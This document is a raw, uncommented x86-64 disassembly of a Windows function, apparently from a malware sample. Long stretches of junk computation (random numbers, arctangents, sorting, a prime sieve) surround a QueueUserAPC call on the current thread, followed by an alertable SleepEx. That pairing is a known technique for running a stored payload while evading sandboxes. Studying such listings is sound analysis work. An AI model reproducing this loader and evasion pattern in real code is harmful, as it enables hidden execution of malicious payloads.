lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002a1e
cmp dword [rbp + 0x634], 0
jns 0x1400029d8
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002a1e
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x634]
movsd xmm0, qword [0x1400065d0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065d8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x3a0
jle 0x140002944
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x84c], 0x7d
jne 0x140002a59
mov dword [rbp + 0x84c], 0
jmp 0x140002a60
add dword [rbp + 0x84c], 1
mov ecx, 0xd50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x840], 0
jmp 0x140002abb
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x620]
add rax, rdx
movsd xmm1, qword [0x1400065e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x1a9
jle 0x140002a7d
mov dword [rbp + 0x840], 0
jmp 0x140002b25
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x620]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x840]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x620]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x1a9
jle 0x140002ad3
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x471
jle 0x1400028dc
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x83c], 0xa0
mov dword [rbp + 0x838], 0xd2
jmp 0x140002b8a
mov eax, dword [rbp + 0x83c]
cmp eax, dword [rbp + 0x838]
jle 0x140002b83
sub dword [rbp + 0x83c], 1
jmp 0x140002b8a
sub dword [rbp + 0x838], 1
cmp dword [rbp + 0x83c], 0
jg 0x140002b6c
mov rax, qword [rbp + 0x810]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x810]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x660]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0x8e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x834], 0
jmp 0x140002ca4
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x238
jle 0x140002c1b
mov dword [rbp + 0x834], 0
jmp 0x140002dd0
mov dword [rbp + 0x63c], 0
jmp 0x140002db2
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x63c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002dab
mov eax, dword [rbp + 0x63c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x638], xmm0
mov eax, dword [rbp + 0x834]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rdx, rax
mov eax, dword [rbp + 0x63c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x63c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
movss xmm0, dword [rbp + 0x638]
movss dword [rax], xmm0
add dword [rbp + 0x834], 1
mov eax, 0x238
sub eax, dword [rbp + 0x834]
cmp dword [rbp + 0x63c], eax
jl 0x140002cd2
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x238
jle 0x140002cc3
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x64c], 1
mov ecx, 0x5f4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x828], 2
jmp 0x140002e51
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x17c
jbe 0x140002e2a
mov qword [rbp + 0x828], 2
jmp 0x140002ee8
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002ee0
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x820], rax
jmp 0x140002ec9
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x820], 1
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
cmp rax, 0x17c
jbe 0x140002e9a
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x17c
jbe 0x140002e6b
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x890]
add rsp, 0x928
pop rbx
pop rsi
pop rdi
pop rbp
ret